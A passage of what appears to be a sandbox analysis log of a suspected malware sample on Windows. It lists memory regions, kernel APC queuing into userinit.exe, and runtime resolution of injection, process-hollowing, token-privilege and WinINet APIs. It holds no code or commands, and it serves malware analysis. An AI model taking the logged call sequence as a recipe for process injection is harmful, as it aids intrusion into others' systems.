"pagefile_0x0000000000060000" filename = "" Region: id = 1971 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 1972 start_va = 0xe0000 end_va = 0xe6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1973 start_va = 0xf0000 end_va = 0xf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1974 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1975 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1976 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 1977 start_va = 0x270000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 1978 start_va = 0x4c0000 end_va = 0x647fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 1979 start_va = 0x650000 end_va = 0x7d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 1980 start_va = 0x7e0000 end_va = 0x1bdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 1981 start_va = 0x1be0000 end_va = 0x1fd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001be0000" filename = "" Region: id = 1982 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 1983 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1984 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1985 start_va = 0x7fefcf50000 end_va = 0x7fefcf6dfff entry_point = 0x7fefcf513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" Region: id = 1986 start_va = 0x7fefdba0000 end_va = 0x7fefdbaefff entry_point = 0x7fefdba19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" Region: id = 1987 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 1988 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 1989 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 1990 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 1991 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 1992 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 1993 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 1994 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 1995 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 1996 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 1997 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 1998 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 1999 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 2000 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 2001 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 2002 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 2003 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 2004 start_va = 0x2160000 end_va = 0x21dffff entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 2005 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 2006 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 2007 start_va = 0x21e0000 end_va = 0x24aefff entry_point = 0x21e0000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 2008 start_va = 0x2050000 end_va = 0x20cffff entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 2009 start_va = 0x24b0000 end_va = 0x258efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024b0000" filename = "" Region: id = 2010 start_va = 0x7fefc090000 end_va = 0x7fefc0a7fff entry_point = 0x7fefc091130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" Region: id = 2011 start_va = 0x7fefc4c0000 end_va = 0x7fefc515fff entry_point = 0x7fefc4cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" Thread: id = 251 os_tid = 0x3ec [0088.048] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\userinit.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.048] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.050] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0088.050] IoIs32bitProcess (Irp=0x0) returned 0 [0088.050] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80036f82c0 [0088.050] KeInitializeApc (Apc=0xfffffa80036f82c0, Thread=0xfffffa80037da800, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0088.050] KeInsertQueueApc (Apc=0xfffffa80036f82c0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0088.050] ExFreePoolWithTag (P=0xfffffa80036f82c0, Tag=0x0) [0088.050] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa80037e1800 [0088.050] IoGetCurrentProcess () returned 0xfffffa80037e0800 [0088.050] PsGetCurrentProcessId () returned 0x3bc [0088.050] IoIs32bitProcess (Irp=0x0) returned 0 [0088.050] KeInitializeEvent (in: Event=0xfffffa80037e1840, Type=0x0, State=0 | out: Event=0xfffffa80037e1840) [0088.050] ExQueueWorkItem (in: WorkItem=0xfffffa80037e1800*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80037e1800), QueueType=0x1 | out: WorkItem=0xfffffa80037e1800*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80037e1800)) [0088.072] KeWaitForMutexObject () returned 0x0 [0088.072] ExFreePoolWithTag (P=0xfffffa80037e1800, Tag=0x0) [0088.072] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.082] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.082] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.082] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.083] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.084] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.085] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\userenv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.085] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.085] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\profapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.088] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.089] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.092] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0088.110] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0088.110] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0088.110] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0088.110] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0088.111] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0088.111] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.111] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.111] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.112] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.113] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.113] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.114] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.114] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.114] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.115] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.127] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0088.128] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0088.128] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0088.128] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0088.128] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.130] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0088.130] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0088.130] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.131] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0088.131] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0088.131] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0088.131] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0088.131] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0088.131] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0088.131] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0088.133] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0088.133] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0088.133] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x26eee8 | out: lpflOldProtect=0x26eee8*=0x40) returned 1 [0088.133] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x26eee8 | out: lpflOldProtect=0x26eee8*=0x4) returned 1 [0088.133] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0088.133] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0088.133] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0088.133] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0088.134] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0088.135] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0088.135] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0088.135] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0088.135] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0088.135] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0088.135] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0088.135] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0088.135] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0088.135] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0088.135] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0088.135] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0088.135] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0088.135] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0088.135] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0088.135] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0088.135] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0088.135] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0088.136] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0088.136] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0088.136] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0088.136] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0088.136] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0088.136] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0088.136] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0088.136] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0088.136] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0088.136] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0088.136] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0088.136] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0088.136] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0088.136] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0088.136] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0088.136] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0088.136] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0088.137] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0088.137] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0088.137] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0088.137] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0088.137] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0088.137] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0088.137] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0088.137] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0088.137] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0088.137] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0088.137] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0088.137] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0088.137] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0088.137] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0088.137] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0088.137] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0088.137] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0088.138] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0088.138] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0088.138] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0088.138] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0088.138] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0088.138] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0088.138] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0088.138] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0088.138] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0088.138] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0088.138] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0088.138] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0088.138] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0088.138] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0088.138] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0088.138] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0088.138] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0088.139] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0088.139] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0088.139] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0088.139] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0088.139] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0088.139] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0088.139] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0088.139] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0088.139] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0088.139] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0088.139] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0088.139] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0088.139] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0088.139] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0088.139] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0088.139] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0088.139] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0088.140] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0088.140] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0088.140] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0088.140] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0088.140] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0088.140] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0088.140] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0088.140] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0088.140] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0088.140] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0088.140] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0088.140] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0088.140] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0088.140] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0088.140] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0088.140] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0088.140] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0088.141] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0088.141] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0088.141] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0088.141] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0088.141] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0088.141] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0088.141] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0088.141] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0088.141] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0088.141] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0088.143] PathRemoveFileSpecA (in: 